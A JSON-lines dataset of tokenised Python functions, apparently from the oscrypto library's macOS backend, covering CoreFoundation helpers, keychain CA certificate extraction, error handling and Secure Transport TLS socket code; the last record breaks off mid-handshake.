{"signature": "@staticmethod<EOL><INDENT>def cf_array_from_list(values):<DEDENT>", "body": "length = len(values)<EOL>values = (CFTypeRef * length)(*values)<EOL>return CoreFoundation.CFArrayCreate(<EOL>CoreFoundation.kCFAllocatorDefault,<EOL>_cast_pointer_p(byref(values)),<EOL>length,<EOL>kCFTypeArrayCallBacks<EOL>)<EOL>", "docstring": "Creates a CFArrayRef object from a list of CF* type objects.\n\n:param values:\n    A list of CF* type object\n\n:return:\n    A CFArrayRef", "id": "f9504:c0:m9"}
{"signature": "@staticmethod<EOL><INDENT>def cf_number_from_integer(integer):<DEDENT>", "body": "integer_as_long = c_long(integer)<EOL>return CoreFoundation.CFNumberCreate(<EOL>CoreFoundation.kCFAllocatorDefault,<EOL>kCFNumberCFIndexType,<EOL>byref(integer_as_long)<EOL>)<EOL>", "docstring": "Creates a CFNumber object from an integer\n\n:param integer:\n    The integer to create the CFNumber for\n\n:return:\n    A CFNumber", "id": "f9504:c0:m10"}
{"signature": "def extract_from_system(cert_callback=None, callback_only_on_failure=False):", "body": "certs_pointer_pointer = new(CoreFoundation, '<STR_LIT>')<EOL>res = Security.SecTrustCopyAnchorCertificates(certs_pointer_pointer)<EOL>handle_sec_error(res)<EOL>certs_pointer = unwrap(certs_pointer_pointer)<EOL>certificates = {}<EOL>trust_info = {}<EOL>all_purposes = '<STR_LIT>'<EOL>default_trust = (set(), set())<EOL>length = CoreFoundation.CFArrayGetCount(certs_pointer)<EOL>for index in range(<NUM_LIT:0>, length):<EOL><INDENT>cert_pointer = CoreFoundation.CFArrayGetValueAtIndex(certs_pointer, index)<EOL>der_cert, cert_hash = _cert_details(cert_pointer)<EOL>certificates[cert_hash] = der_cert<EOL><DEDENT>CoreFoundation.CFRelease(certs_pointer)<EOL>for domain in [SecurityConst.kSecTrustSettingsDomainUser, SecurityConst.kSecTrustSettingsDomainAdmin]:<EOL><INDENT>cert_trust_settings_pointer_pointer = new(CoreFoundation, '<STR_LIT>')<EOL>res = Security.SecTrustSettingsCopyCertificates(domain, cert_trust_settings_pointer_pointer)<EOL>if res == SecurityConst.errSecNoTrustSettings:<EOL><INDENT>continue<EOL><DEDENT>handle_sec_error(res)<EOL>cert_trust_settings_pointer = unwrap(cert_trust_settings_pointer_pointer)<EOL>length = CoreFoundation.CFArrayGetCount(cert_trust_settings_pointer)<EOL>for index in range(<NUM_LIT:0>, length):<EOL><INDENT>cert_pointer = CoreFoundation.CFArrayGetValueAtIndex(cert_trust_settings_pointer, index)<EOL>trust_settings_pointer_pointer = new(CoreFoundation, '<STR_LIT>')<EOL>res = Security.SecTrustSettingsCopyTrustSettings(cert_pointer, domain, trust_settings_pointer_pointer)<EOL>if res == SecurityConst.errSecItemNotFound:<EOL><INDENT>continue<EOL><DEDENT>if res == SecurityConst.errSecInvalidTrustSettings:<EOL><INDENT>der_cert, cert_hash = _cert_details(cert_pointer)<EOL>if cert_hash in certificates:<EOL><INDENT>_cert_callback(<EOL>cert_callback,<EOL>certificates[cert_hash],<EOL>'<STR_LIT>'<EOL>)<EOL>del certificates[cert_hash]<EOL><DEDENT>continue<EOL><DEDENT>handle_sec_error(res)<EOL>trust_settings_pointer = unwrap(trust_settings_pointer_pointer)<EOL>trust_oids = set()<EOL>reject_oids = set()<EOL>settings_length = CoreFoundation.CFArrayGetCount(trust_settings_pointer)<EOL>for settings_index in range(<NUM_LIT:0>, settings_length):<EOL><INDENT>settings_dict_entry = CoreFoundation.CFArrayGetValueAtIndex(trust_settings_pointer, settings_index)<EOL>settings_dict = CFHelpers.cf_dictionary_to_dict(settings_dict_entry)<EOL>policy_oid = settings_dict.get('<STR_LIT>', {}).get('<STR_LIT>', all_purposes)<EOL>trust_result = settings_dict.get('<STR_LIT>', <NUM_LIT:1>)<EOL>should_trust = trust_result != <NUM_LIT:0> and trust_result != <NUM_LIT:3><EOL>if should_trust:<EOL><INDENT>trust_oids.add(policy_oid)<EOL><DEDENT>else:<EOL><INDENT>reject_oids.add(policy_oid)<EOL><DEDENT><DEDENT>der_cert, cert_hash = _cert_details(cert_pointer)<EOL>if all_purposes in reject_oids:<EOL><INDENT>if cert_hash in certificates:<EOL><INDENT>_cert_callback(<EOL>cert_callback,<EOL>certificates[cert_hash],<EOL>'<STR_LIT>'<EOL>)<EOL>del certificates[cert_hash]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if all_purposes in trust_oids:<EOL><INDENT>trust_oids = set([all_purposes])<EOL><DEDENT>trust_info[cert_hash] = (trust_oids, reject_oids)<EOL><DEDENT>CoreFoundation.CFRelease(trust_settings_pointer)<EOL><DEDENT>CoreFoundation.CFRelease(cert_trust_settings_pointer)<EOL><DEDENT>output = []<EOL>for cert_hash in certificates:<EOL><INDENT>if not callback_only_on_failure:<EOL><INDENT>_cert_callback(cert_callback, certificates[cert_hash], None)<EOL><DEDENT>cert_trust_info = trust_info.get(cert_hash, default_trust)<EOL>output.append((certificates[cert_hash], cert_trust_info[<NUM_LIT:0>], cert_trust_info[<NUM_LIT:1>]))<EOL><DEDENT>return output<EOL>", "docstring": "Extracts trusted CA certificates from the OS X trusted root keychain.\n\n:param cert_callback:\n    A callback that is called once for each certificate in the trust store.\n    It should accept two parameters: an asn1crypto.x509.Certificate object,\n    and a reason. The reason will be None if the certificate is being\n    exported, otherwise it will be a unicode string of the reason it won't.\n\n:param callback_only_on_failure:\n    A boolean - if the callback should only be called when a certificate is\n    not exported.\n\n:raises:\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A list of 3-element tuples:\n     - 0: a byte string of a DER-encoded certificate\n     - 1: a set of unicode strings that are OIDs of purposes to trust the\n          certificate for\n     - 2: a set of unicode strings that are OIDs of purposes to reject the\n          certificate for", "id": "f9505:m1"}
{"signature": "def _cert_callback(callback, der_cert, reason):", "body": "if not callback:<EOL><INDENT>return<EOL><DEDENT>callback(x509.Certificate.load(der_cert), reason)<EOL>", "docstring": "Constructs an asn1crypto.x509.Certificate object and calls the export\ncallback\n\n:param callback:\n    The callback to call\n\n:param der_cert:\n    A byte string of the DER-encoded certificate\n\n:param reason:\n    None if cert is being exported, or a unicode string of the reason it\n    is not being exported", "id": "f9505:m2"}
{"signature": "def _cert_details(cert_pointer):", "body": "data_pointer = None<EOL>try:<EOL><INDENT>data_pointer = Security.SecCertificateCopyData(cert_pointer)<EOL>der_cert = CFHelpers.cf_data_to_bytes(data_pointer)<EOL>cert_hash = hashlib.sha1(der_cert).digest()<EOL>return (der_cert, cert_hash)<EOL><DEDENT>finally:<EOL><INDENT>if data_pointer is not None:<EOL><INDENT>CoreFoundation.CFRelease(data_pointer)<EOL><DEDENT><DEDENT>", "docstring": "Return the certificate and a hash of it\n\n:param cert_pointer:\n    A SecCertificateRef\n\n:return:\n    A 2-element tuple:\n     - [0]: A byte string of the SHA1 hash of the cert\n     - [1]: A byte string of the DER-encoded contents of the cert", "id": "f9505:m3"}
{"signature": "def handle_cf_error(error_pointer):", "body": "if is_null(error_pointer):<EOL><INDENT>return<EOL><DEDENT>error = unwrap(error_pointer)<EOL>if is_null(error):<EOL><INDENT>return<EOL><DEDENT>cf_string_domain = CoreFoundation.CFErrorGetDomain(error)<EOL>domain = CFHelpers.cf_string_to_unicode(cf_string_domain)<EOL>CoreFoundation.CFRelease(cf_string_domain)<EOL>num = CoreFoundation.CFErrorGetCode(error)<EOL>cf_string_ref = CoreFoundation.CFErrorCopyDescription(error)<EOL>output = CFHelpers.cf_string_to_unicode(cf_string_ref)<EOL>CoreFoundation.CFRelease(cf_string_ref)<EOL>if output is None:<EOL><INDENT>if domain == '<STR_LIT>':<EOL><INDENT>code_map = {<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>-<NUM_LIT>: '<STR_LIT>',<EOL>}<EOL>if num in code_map:<EOL><INDENT>output = code_map[num]<EOL><DEDENT><DEDENT>if not output:<EOL><INDENT>output = '<STR_LIT>' % (domain, num)<EOL><DEDENT><DEDENT>raise OSError(output)<EOL>", "docstring": "Checks a CFErrorRef and throws an exception if there is an error to report\n\n:param error_pointer:\n    A CFErrorRef\n\n:raises:\n    OSError - when the CFErrorRef contains an error", "id": "f9506:m0"}
{"signature": "def _read_callback(connection_id, data_buffer, data_length_pointer):", "body": "self = None<EOL>try:<EOL><INDENT>self = _connection_refs.get(connection_id)<EOL>if not self:<EOL><INDENT>socket = _socket_refs.get(connection_id)<EOL><DEDENT>else:<EOL><INDENT>socket = self._socket<EOL><DEDENT>if not self and not socket:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>bytes_requested = deref(data_length_pointer)<EOL>timeout = socket.gettimeout()<EOL>error = None<EOL>data = b'<STR_LIT>'<EOL>try:<EOL><INDENT>while len(data) < bytes_requested:<EOL><INDENT>if timeout is not None and timeout > <NUM_LIT:0.0>:<EOL><INDENT>read_ready, _, _ = select.select([socket], [], [], timeout)<EOL>if len(read_ready) == <NUM_LIT:0>:<EOL><INDENT>raise socket_.error(errno.EAGAIN, '<STR_LIT>')<EOL><DEDENT><DEDENT>chunk = socket.recv(bytes_requested - len(data))<EOL>data += chunk<EOL>if chunk == b'<STR_LIT>':<EOL><INDENT>if len(data) == <NUM_LIT:0>:<EOL><INDENT>if timeout is None:<EOL><INDENT>return SecurityConst.errSSLClosedNoNotify<EOL><DEDENT>return SecurityConst.errSSLClosedAbort<EOL><DEDENT>break<EOL><DEDENT><DEDENT><DEDENT>except (socket_.error) as e:<EOL><INDENT>error = e.errno<EOL><DEDENT>if error is not None and error != errno.EAGAIN:<EOL><INDENT>if error == errno.ECONNRESET or error == errno.EPIPE:<EOL><INDENT>return SecurityConst.errSSLClosedNoNotify<EOL><DEDENT>return SecurityConst.errSSLClosedAbort<EOL><DEDENT>if self and not self._done_handshake:<EOL><INDENT>if len(data) >= <NUM_LIT:3> and len(self._server_hello) == <NUM_LIT:0>:<EOL><INDENT>valid_record_type = data[<NUM_LIT:0>:<NUM_LIT:1>] in set([b'<STR_LIT>', b'<STR_LIT>'])<EOL>valid_protocol_version = data[<NUM_LIT:1>:<NUM_LIT:3>] in set([<EOL>b'<STR_LIT>',<EOL>b'<STR_LIT>',<EOL>b'<STR_LIT>',<EOL>b'<STR_LIT>',<EOL>b'<STR_LIT>'<EOL>])<EOL>if not valid_record_type or not valid_protocol_version:<EOL><INDENT>self._server_hello += data + _read_remaining(socket)<EOL>return SecurityConst.errSSLProtocol<EOL><DEDENT><DEDENT>self._server_hello += data<EOL><DEDENT>write_to_buffer(data_buffer, data)<EOL>pointer_set(data_length_pointer, len(data))<EOL>if len(data) != bytes_requested:<EOL><INDENT>return SecurityConst.errSSLWouldBlock<EOL><DEDENT>return <NUM_LIT:0><EOL><DEDENT>except (KeyboardInterrupt) as e:<EOL><INDENT>if self:<EOL><INDENT>self._exception = e<EOL><DEDENT>return SecurityConst.errSSLClosedAbort<EOL><DEDENT>", "docstring": "Callback called by Secure Transport to actually read the socket\n\n:param connection_id:\n    An integer identifing the connection\n\n:param data_buffer:\n    A char pointer FFI type to write the data to\n\n:param data_length_pointer:\n    A size_t pointer FFI type of the amount of data to read. Will be\n    overwritten with the amount of data read on return.\n\n:return:\n    An integer status code of the result - 0 for success", "id": "f9507:m0"}
{"signature": "def _read_remaining(socket):", "body": "output = b'<STR_LIT>'<EOL>old_timeout = socket.gettimeout()<EOL>try:<EOL><INDENT>socket.settimeout(<NUM_LIT:0.0>)<EOL>output += socket.recv(<NUM_LIT>)<EOL><DEDENT>except (socket_.error):<EOL><INDENT>pass<EOL><DEDENT>finally:<EOL><INDENT>socket.settimeout(old_timeout)<EOL><DEDENT>return output<EOL>", "docstring": "Reads everything available from the socket - used for debugging when there\nis a protocol error\n\n:param socket:\n    The socket to read from\n\n:return:\n    A byte string of the remaining data", "id": "f9507:m1"}
{"signature": "def _write_callback(connection_id, data_buffer, data_length_pointer):", "body": "try:<EOL><INDENT>self = _connection_refs.get(connection_id)<EOL>if not self:<EOL><INDENT>socket = _socket_refs.get(connection_id)<EOL><DEDENT>else:<EOL><INDENT>socket = self._socket<EOL><DEDENT>if not self and not socket:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>data_length = deref(data_length_pointer)<EOL>data = bytes_from_buffer(data_buffer, data_length)<EOL>if self and not self._done_handshake:<EOL><INDENT>self._client_hello += data<EOL><DEDENT>error = None<EOL>try:<EOL><INDENT>sent = socket.send(data)<EOL><DEDENT>except (socket_.error) as e:<EOL><INDENT>error = e.errno<EOL><DEDENT>if error is not None and error != errno.EAGAIN:<EOL><INDENT>if error == errno.ECONNRESET or error == errno.EPIPE:<EOL><INDENT>return SecurityConst.errSSLClosedNoNotify<EOL><DEDENT>return SecurityConst.errSSLClosedAbort<EOL><DEDENT>if sent != data_length:<EOL><INDENT>pointer_set(data_length_pointer, sent)<EOL>return SecurityConst.errSSLWouldBlock<EOL><DEDENT>return <NUM_LIT:0><EOL><DEDENT>except (KeyboardInterrupt) as e:<EOL><INDENT>self._exception = e<EOL>return SecurityConst.errSSLPeerUserCancelled<EOL><DEDENT>", "docstring": "Callback called by Secure Transport to actually write to the socket\n\n:param connection_id:\n    An integer identifing the connection\n\n:param data_buffer:\n    A char pointer FFI type containing the data to write\n\n:param data_length_pointer:\n    A size_t pointer FFI type of the amount of data to write. Will be\n    overwritten with the amount of data actually written on return.\n\n:return:\n    An integer status code of the result - 0 for success", "id": "f9507:m2"}
{"signature": "def __init__(self, protocol=None, manual_validation=False, extra_trust_roots=None):", "body": "if not isinstance(manual_validation, bool):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(manual_validation)<EOL>))<EOL><DEDENT>self._manual_validation = manual_validation<EOL>if protocol is None:<EOL><INDENT>protocol = set(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>'])<EOL><DEDENT>if isinstance(protocol, str_cls):<EOL><INDENT>protocol = set([protocol])<EOL><DEDENT>elif not isinstance(protocol, set):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(protocol)<EOL>))<EOL><DEDENT>unsupported_protocols = protocol - set(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'])<EOL>if unsupported_protocols:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>repr(unsupported_protocols)<EOL>))<EOL><DEDENT>self._protocols = protocol<EOL>self._extra_trust_roots = []<EOL>if extra_trust_roots:<EOL><INDENT>for extra_trust_root in extra_trust_roots:<EOL><INDENT>if isinstance(extra_trust_root, Certificate):<EOL><INDENT>extra_trust_root = extra_trust_root.asn1<EOL><DEDENT>elif isinstance(extra_trust_root, byte_cls):<EOL><INDENT>extra_trust_root = parse_certificate(extra_trust_root)<EOL><DEDENT>elif isinstance(extra_trust_root, str_cls):<EOL><INDENT>with open(extra_trust_root, '<STR_LIT:rb>') as f:<EOL><INDENT>extra_trust_root = parse_certificate(f.read())<EOL><DEDENT><DEDENT>elif not isinstance(extra_trust_root, x509.Certificate):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(extra_trust_root)<EOL>))<EOL><DEDENT>self._extra_trust_roots.append(extra_trust_root)<EOL><DEDENT><DEDENT>self._peer_id = rand_bytes(<NUM_LIT:8>)<EOL>", "docstring": ":param protocol:\n    A unicode string or set of unicode strings representing allowable\n    protocols to negotiate with the server:\n\n     - \"TLSv1.2\"\n     - \"TLSv1.1\"\n     - \"TLSv1\"\n     - \"SSLv3\"\n\n    Default is: {\"TLSv1\", \"TLSv1.1\", \"TLSv1.2\"}\n\n:param manual_validation:\n    If certificate and certificate path validation should be skipped\n    and left to the developer to implement\n\n:param extra_trust_roots:\n    A list containing one or more certificates to be treated as trust\n    roots, in one of the following formats:\n     - A byte string of the DER encoded certificate\n     - A unicode string of the certificate filename\n     - An asn1crypto.x509.Certificate object\n     - An oscrypto.asymmetric.Certificate object\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library", "id": "f9507:c0:m0"}
{"signature": "@classmethod<EOL><INDENT>def wrap(cls, socket, hostname, session=None):<DEDENT>", "body": "if not isinstance(socket, socket_.socket):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(socket)<EOL>))<EOL><DEDENT>if not isinstance(hostname, str_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(hostname)<EOL>))<EOL><DEDENT>if session is not None and not isinstance(session, TLSSession):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(session)<EOL>))<EOL><DEDENT>new_socket = cls(None, None, session=session)<EOL>new_socket._socket = socket<EOL>new_socket._hostname = hostname<EOL>new_socket._handshake()<EOL>return new_socket<EOL>", "docstring": "Takes an existing socket and adds TLS\n\n:param socket:\n    A socket.socket object to wrap with TLS\n\n:param hostname:\n    A unicode string of the hostname or IP the socket is connected to\n\n:param session:\n    An existing TLSSession object to allow for session reuse, specific\n    protocol or manual certificate validation\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library", "id": "f9507:c1:m0"}
{"signature": "def __init__(self, address, port, timeout=<NUM_LIT:10>, session=None):", "body": "self._done_handshake = False<EOL>self._server_hello = b'<STR_LIT>'<EOL>self._client_hello = b'<STR_LIT>'<EOL>self._decrypted_bytes = b'<STR_LIT>'<EOL>if address is None and port is None:<EOL><INDENT>self._socket = None<EOL><DEDENT>else:<EOL><INDENT>if not isinstance(address, str_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(address)<EOL>))<EOL><DEDENT>if not isinstance(port, int_types):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(port)<EOL>))<EOL><DEDENT>if timeout is not None and not isinstance(timeout, numbers.Number):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(timeout)<EOL>))<EOL><DEDENT>self._socket = socket_.create_connection((address, port), timeout)<EOL>self._socket.settimeout(timeout)<EOL><DEDENT>if session is None:<EOL><INDENT>session = TLSSession()<EOL><DEDENT>elif not isinstance(session, TLSSession):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(session)<EOL>))<EOL><DEDENT>self._session = session<EOL>if self._socket:<EOL><INDENT>self._hostname = address<EOL>self._handshake()<EOL><DEDENT>", "docstring": ":param address:\n    A unicode string of the domain name or IP address to conenct to\n\n:param port:\n    An integer of the port number to connect to\n\n:param timeout:\n    An integer timeout to use for the socket\n\n:param session:\n    An oscrypto.tls.TLSSession object to allow for session reuse and\n    controlling the protocols and validation performed", "id": "f9507:c1:m1"}
{"signature": "def _handshake(self):", "body": "session_context = None<EOL>ssl_policy_ref = None<EOL>crl_search_ref = None<EOL>crl_policy_ref = None<EOL>ocsp_search_ref = None<EOL>ocsp_policy_ref = None<EOL>policy_array_ref = None<EOL>try:<EOL><INDENT>if osx_version_info < (<NUM_LIT:10>, <NUM_LIT:8>):<EOL><INDENT>session_context_pointer = new(Security, '<STR_LIT>')<EOL>result = Security.SSLNewContext(False, session_context_pointer)<EOL>handle_sec_error(result)<EOL>session_context = unwrap(session_context_pointer)<EOL><DEDENT>else:<EOL><INDENT>session_context = Security.SSLCreateContext(<EOL>null(),<EOL>SecurityConst.kSSLClientSide,<EOL>SecurityConst.kSSLStreamType<EOL>)<EOL><DEDENT>result = Security.SSLSetIOFuncs(<EOL>session_context,<EOL>_read_callback_pointer,<EOL>_write_callback_pointer<EOL>)<EOL>handle_sec_error(result)<EOL>self._connection_id = id(self) % <NUM_LIT><EOL>_connection_refs[self._connection_id] = self<EOL>_socket_refs[self._connection_id] = self._socket<EOL>result = Security.SSLSetConnection(session_context, self._connection_id)<EOL>handle_sec_error(result)<EOL>utf8_domain = self._hostname.encode('<STR_LIT:utf-8>')<EOL>result = Security.SSLSetPeerDomainName(<EOL>session_context,<EOL>utf8_domain,<EOL>len(utf8_domain)<EOL>)<EOL>handle_sec_error(result)<EOL>if osx_version_info >= (<NUM_LIT:10>, <NUM_LIT:10>):<EOL><INDENT>disable_auto_validation = self._session._manual_validation or self._session._extra_trust_roots<EOL>explicit_validation = (not self._session._manual_validation) and self._session._extra_trust_roots<EOL><DEDENT>else:<EOL><INDENT>disable_auto_validation = True<EOL>explicit_validation = not self._session._manual_validation<EOL><DEDENT>if osx_version_info < (<NUM_LIT:10>, <NUM_LIT:8>):<EOL><INDENT>for protocol in ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>protocol_const = _PROTOCOL_STRING_CONST_MAP[protocol]<EOL>enabled = protocol in self._session._protocols<EOL>result = Security.SSLSetProtocolVersionEnabled(<EOL>session_context,<EOL>protocol_const,<EOL>enabled<EOL>)<EOL>handle_sec_error(result)<EOL><DEDENT>if disable_auto_validation:<EOL><INDENT>result = Security.SSLSetEnableCertVerify(session_context, False)<EOL>handle_sec_error(result)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>protocol_consts = [_PROTOCOL_STRING_CONST_MAP[protocol] for protocol in self._session._protocols]<EOL>min_protocol = min(protocol_consts)<EOL>max_protocol = max(protocol_consts)<EOL>result = Security.SSLSetProtocolVersionMin(<EOL>session_context,<EOL>min_protocol<EOL>)<EOL>handle_sec_error(result)<EOL>result = Security.SSLSetProtocolVersionMax(<EOL>session_context,<EOL>max_protocol<EOL>)<EOL>handle_sec_error(result)<EOL>if disable_auto_validation:<EOL><INDENT>result = Security.SSLSetSessionOption(<EOL>session_context,<EOL>SecurityConst.kSSLSessionOptionBreakOnServerAuth,<EOL>True<EOL>)<EOL>handle_sec_error(result)<EOL><DEDENT><DEDENT>supported_ciphers_pointer = new(Security, 